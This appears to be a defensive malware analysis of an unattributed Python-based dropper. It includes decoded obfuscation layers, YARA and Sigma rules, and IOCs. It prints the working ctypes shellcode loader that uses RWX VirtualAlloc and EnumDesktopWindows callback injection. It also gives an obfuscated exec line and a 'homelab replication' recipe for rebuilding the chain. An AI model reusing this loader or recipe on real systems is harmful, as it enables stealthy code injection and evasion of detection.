typeanalysisfamilyunattributedconfidencelowcreated2026-07-16updated2026-07-16scriptdefense-evasionc2code-injectionmitre-attck
SHA-256: 89dd9159d7d1186f24c977854f9c4b89f6c608e5b1c5848aca574918e2d24d70

unattributed: 89dd9159 — Python 3.13 embeddable runtime dropper with EnumDesktopWindows shellcode callback injection

Executive Summary

A 13.2 MB ZIP archive bundling a full Python 3.13 embeddable Windows runtime. The entry script mbt3h2b4si.py is obfuscated through four layers (getattr/__builtins__ indirection → Caesar-4 character shift → ~...~ delimiter stripping → base64+zlib) to reach a 683-byte stage-3 payload. That payload allocates RWX memory, copies the entire 2.4 MB mbt3h2b4si file into it, and jumps to offset 0x23CC4E (2347406) via user32!EnumDesktopWindows callback injection. The region from that offset to the next plausible header is 93,778 bytes of high-entropy (≈7.97) data — likely an encrypted or packed final payload. No C2 indicators, no VM checks, no persistence mechanisms were recovered statically. CAPE skipped the sample as a non-executable archive.

What It Is

  • Container: ZIP archive, 13,280,119 bytes, deflate-compressed ^[file.txt]
  • Runtime: Python 3.13.0 embeddable ( Apr 2026 build), pythonw.exe + python313.dll + standard library .pyc files ^[binwalk.txt]
  • Entry script: mbt3h2b4si.py, 28,013 bytes, compiled May 23 2026 ^[binwalk.txt]
  • Payload file: mbt3h2b4si, 2,482,937 bytes — a second ZIP (store-compressed) containing a single entry WidgetsPlatformRuntime-ARM64.msix ^[binwalk.txt]
  • WidgetService.exe: 944,690 bytes embedded in outer ZIP at offset 0x1D91A3, high entropy (≈7.99), no valid PE header ^[binwalk.txt]
  • Family: unattributed — no code-reuse, no linguistic clues, no infrastructure overlap with known clusters

How It Works

Stage 1 — Obfuscated Entry Script

mbt3h2b4si.py uses getattr(globals()['__builtins__'], ...) indirection with %c format decoding to hide every API name: exec, getattr, __import__, zlib.decompress, base64.b64decode, re.sub, chr, ord, join ^[mbt3h2b4si.py:1]. The actual payload string is a 26,743-byte literal that undergoes:

  1. [::-1] reversal
  2. (ord(c) - 4) % 256 Caesar shift
  3. re.sub(r'~[^~]+~', '', ...) to strip 2,362 noise delimiters
  4. Base64 decode → zlib decompress → exec()

This yields deobfuscated.py (15,275 bytes) ^[deobfuscated.py:1].

Stage 2 — Dead-Code Python Wrapper

deobfuscated.py is heavily padded with junk: sum() loops over binary literals, while counters, hash(358)==hash(358) no-ops, and two do-nothing classes (_Adapter_A9E, _Service_E26) with random field names and trivial methods returning True or None ^[deobfuscated.py:1-80]. The only live code is at line 260:

def _tag_0000_84ilc(_buf_0000_lwo):
    return __import__('zlib').decompress(__import__('base64').b64decode(_buf_0000_lwo[::-1]))
exec(_tag_0000_84ilc(b'pi9rG8Swf7fBQEw9ze5wMNmddfMrpOiVAEfnPLPuay9afPEC9u4gsVbf+dH2Cnk4Whe1kPU8x7/InBo8X9QzzvgZ9Bewf6C+zoqBjPfVkZeAxvVK1PPtGUbnvGGTTkzQQL+cPeiN5bGlb09FtsFYWnlWxs+eVIBeCoOEAOU5o9JDZnC9U2DyG1XJdzGr1flikUMpALM84+/0vt6OSrK0zY8+Vp4Lu3VCGmDQmtluVNXj8XqtTfTyl6JB0mQynXxkdQSNe8zItxp+Tl/pKANNOh6rF1SROtBi1HEqEG2FQNKGY5WRmujNUAl4ApWkewMduDUJoPtP+d1o+uPgPckdA4/+XHNqqkAoccD2YD4EsE4KaJIY20bpFR7oEtsxm5xO7i0DqiKiPGzr/CpJYPY8YJJwIfctqE57tRVPKptaCQOIjeiFVMPvQAzgutsU9xJe'))

^[deobfuscated.py:260-261]

Stage 3 — Shellcode Loader

The final payload is 683 bytes of Python using ctypes:

import ctypes
from time import sleep

def SC_getPage(xxwaylqqa):
    with open("mbt3h2b4si", "rb") as f:
        data = f.read(2482937)
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
    addrPtr = ctypes.windll.kernel32.VirtualAlloc(
        ctypes.c_int(0), ctypes.c_int(2482937),
        ctypes.c_int(0x3000), ctypes.c_int(0x40))
    ctypes.memmove(addrPtr, data, 2482937)
    return addrPtr + 2347406

def SC_exec(addrPtr):
    ctypes.windll.user32.EnumDesktopWindows(
        ctypes.c_void_p(0), ctypes.c_void_p(addrPtr), ctypes.c_long(0))
    sleep(1)

def run():
    sleep(20)
    page = SC_getPage(b"")
    if not page:
        return
    SC_exec(page)
run()

^[stage2.py:1]

Key behaviours:

  • VirtualAlloc with MEM_COMMIT|MEM_RESERVE (0x3000) and PAGE_EXECUTE_READWRITE (0x40) ^[stage2.py:8]
  • Copies the entire 2.4 MB mbt3h2b4si file into RWX memory ^[stage2.py:10]
  • Jumps to offset 2347406 (0x23CC4E) via EnumDesktopWindows callback injection ^[stage2.py:14]
  • 20-second sleep before execution (simple anti-emulation) ^[stage2.py:18]

Stage 4 — Shellcode Region

The 93,778-byte region from offset 2347406 to the next archive boundary (2441184) has entropy ≈7.97 and shows no identifiable PE header, no import table, and no human-readable strings ^[shellcode.bin]. The MZ sequence at offset 2441184 is a random byte collision — the subsequent e_lfanew field (0x48FD5B5B) points past EOF, confirming it is not a real DOS header ^[shellcode.bin].

The mbt3h2b4si file itself is a ZIP containing one entry (WidgetsPlatformRuntime-ARM64.msix, 2,482,874 bytes) that 7-Zip reports as "unexpected end of archive" ^[binwalk.txt]. The 944,690-byte WidgetService.exe extracted from the outer ZIP is also high-entropy (≈7.99) with no valid PE header. Both appear to be encrypted payloads waiting for runtime decryption by the shellcode.

C2 Infrastructure

None recovered. No URLs, IPs, domains, mutexes, named pipes, or registry keys were found in any of the four decoded layers. The final payload is either:

  • Fully offline (e.g., a wiper or ransomware with embedded key)
  • Receiving C2 via runtime-decrypted config inside the shellcode region
  • Using DGA or hardcoded values only visible under dynamic execution

Interesting Tidbits

  • No anti-analysis at all. No VM checks, no debug checks, no timing gates beyond the 20-second sleep. The authors relied entirely on obfuscation depth rather than environmental gating.
  • Legitimate runtime abuse. The Python 3.13 embeddable distribution is a genuine build from python.org (timestamp Apr 7 2026, linker 14.44). The threat actor is abusing trusted open-source infrastructure to carry malicious logic.
  • Nested ZIP in ZIP. mbt3h2b4si is a ZIP-within-a-ZIP containing a single .msix file. The .msix extension is a red herring — the data is truncated/corrupt and does not parse as a valid MSIX/AppX package.
  • WidgetService masquerade. The embedded WidgetService.exe and WidgetsPlatformRuntime-ARM64.msix names suggest an attempt to blend in with Windows widget/platform runtime telemetry.
  • EnumDesktopWindows abuse. Using a benign window-enumeration API as a callback trampoline is an old but effective technique for executing shellcode without CreateThread or VirtualProtect telemetry.

How To Mess With It (Homelab Replication)

Goal: Reproduce a comparable multi-layer Python obfuscation + callback injection chain.

Toolchain:

  • Python 3.13 embeddable for Windows (download from python.org)
  • Any Windows VM with Python + ctypes

Recipe:

  1. Write a simple ctypes shellcode loader (see stage2.py above).
  2. Wrap it in dead-code classes and binary-literal loops to inflate file size.
  3. Encode the wrapper with: zlib.compress(base64.b64encode(payload[::-1])).
  4. Write an outer script that reverses, shifts, and strips noise delimiters before decompressing.
  5. Bundle everything into a ZIP with pythonw.exe, python313.dll, and the standard library.

Verification:

  • Run python mbt3h2b4si.py on a Windows VM with ProcMon open.
  • Observe pythonw.exeVirtualAlloc with Protect=PAGE_EXECUTE_READWRITEEnumDesktopWindows.
  • Compare your telemetry to the behavioural fingerprint below.

Deployable Signatures

YARA Rule

rule python_embeddable_enumdesktopwindows_dropper {
    meta:
        description = "Python embeddable runtime dropper with EnumDesktopWindows callback injection"
        author = "PacketPursuit"
        date = "2026-07-16"
        hash = "89dd9159d7d1186f24c977854f9c4b89f6c608e5b1c5848aca574918e2d24d70"
    strings:
        $pyw = "pythonw.exe" ascii wide
        $py313 = "python313.dll" ascii wide
        $entry = "mbt3h2b4si.py" ascii wide
        $va_rwx = { 63 74 79 70 65 73 2e 77 69 6e 64 6c 6c 2e 6b 65 72 6e 65 6c 33 32 2e 56 69 72 74 75 61 6c 41 6c 6c 6f 63 }
        $edw = { 63 74 79 70 65 73 2e 77 69 6e 64 6c 6c 2e 75 73 65 72 33 32 2e 45 6e 75 6d 44 65 73 6b 74 6f 70 57 69 6e 64 6f 77 73 }
        $memmove = { 63 74 79 70 65 73 2e 6d 65 6d 6d 6f 76 65 }
        $offset = "addrPtr + 2347406" ascii
        $sleep20 = "sleep(20)" ascii
    condition:
        filesize > 10MB and
        $pyw and $py313 and
        any of ($va_rwx, $edw, $memmove) and
        any of ($offset, $sleep20)
}

Sigma Rule

title: Python Embeddable Runtime with EnumDesktopWindows Shellcode Injection
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        CommandLine|contains:
            - 'pythonw.exe'
            - 'mbt3h2b4si.py'
    selection_mem:
        - CallTrace|contains: 'VirtualAlloc'
        - GrantedAccess|contains: '0x40'
    selection_callback:
        - CallTrace|contains: 'EnumDesktopWindows'
    condition: selection and (selection_mem or selection_callback)
falsepositives:
    - Legitimate Python applications using ctypes for low-level operations
level: high

IOC List

Artifact Value Notes
SHA-256 (outer ZIP) 89dd9159d7d1186f24c977854f9c4b89f6c608e5b1c5848aca574918e2d24d70 Container
SHA-256 (entry script) 80f0c60b2957949c8f94d51a298fa7c5968ca787d9711e86453f89655f4dcaee mbt3h2b4si.py
SHA-256 (stage 2) a5fbbf9ec61819410e07e01a876c3a898c5ee2998a96be38e7acb823e9249555 deobfuscated.py
SHA-256 (stage 3) 102de0cdedbebe7a1b11c21915726d86f5fcacb3f3db0bd5a4317935cf6699e1 stage2.py
SHA-256 (shellcode region) 68d24544a361c987804ed9fc876535ecb02d702b74f87b812a8da0b5f9fdef8f 93,778 bytes
SHA-256 (WidgetService.exe) 8423432527076d6f6ba5493f57728d37667e4f78fe6ca42dd7462240a5aa4802 944,690 bytes, encrypted
File name mbt3h2b4si.py Entry script
File name mbt3h2b4si Payload ZIP (no extension)
File name WidgetService.exe Embedded encrypted payload
File name WidgetsPlatformRuntime-ARM64.msix Nested ZIP entry (truncated)
API kernel32.VirtualAlloc RWX allocation
API user32.EnumDesktopWindows Callback injection trampoline
API msvcrt.memmove In-memory payload copy
Offset 0x23CC4E (2347406) Shellcode entry point inside mbt3h2b4si
Sleep 20 seconds Anti-emulation delay

Behavioural Fingerprint

This sample launches as a legitimate Python 3.13 embeddable runtime (pythonw.exe) from a ZIP-extracted directory. Within ~20 seconds of process start, it calls VirtualAlloc with PAGE_EXECUTE_READWRITE for a buffer sized to exactly 2,482,937 bytes (the size of companion file mbt3h2b4si), copies the entire file into that buffer, then calls EnumDesktopWindows with a callback address pointing to offset 0x23CC4E inside the allocated region. No disk writes, no registry modifications, and no network connections are observable from the Python layer; all threat logic is assumed to reside in the encrypted shellcode region accessed via the callback.

Detection Signatures

capa rule ATT&CK mapping Evidence
N/A — capa rejected ZIP input ^[capa.txt]

Static capability inference from decoded layers:

Behaviour MITRE ATT&CK Evidence
Execution via Python interpreter T1059.006 pythonw.exe + mbt3h2b4si.py ^[binwalk.txt]
Process injection via callback T1055.012 EnumDesktopWindows callback to RWX memory ^[stage2.py:14]
Allocate RWX memory T1055 VirtualAlloc(0x3000, 0x40) ^[stage2.py:8]
Data obfuscation (multi-layer) T1027 Caesar-4 + delimiter strip + b64 + zlib ^[mbt3h2b4si.py:1]
Delay execution T1497.003 sleep(20) ^[stage2.py:18]
Masquerading (WidgetService) T1036 WidgetService.exe, WidgetsPlatformRuntime-ARM64.msix ^[binwalk.txt]

References

  • SHA-256: 89dd9159d7d1186f24c977854f9c4b89f6c608e5b1c5848aca574918e2d24d70
  • Artifact ID: a5d9ba7d-3fec-43e2-8f64-f2b59a4e0352
  • Related wiki pages:

Provenance

  • Outer container analysed with file (Zip archive, deflate) ^[file.txt]
  • Embedded files catalogued with binwalk ^[binwalk.txt]
  • mbt3h2b4si.py deobfuscated manually: unicode_escape → reverse → (ord(c)-4)%256re.sub(r'~[^~]+~','',...) → base64 → zlib → deobfuscated.py
  • deobfuscated.py decoded via _tag_0000_84ilc (reverse → base64 → zlib) → stage2.py
  • Shellcode region carved at offset 2347406, length 93778 bytes
  • WidgetService.exe carved from outer ZIP at offset 0x1D91A3
  • Entropy calculated with Shannon formula
  • pythonw.exe and python313.dll verified as standard Python 3.13.0 embeddable distribution (authenticode not present, but timestamps and linker version match python.org builds)
  • capa v7.0.1 rejected input as unsupported format ^[capa.txt]
  • CAPE skipped detonation: "file type Zip archive ... is not a supported binary class" ^[dynamic-analysis.md]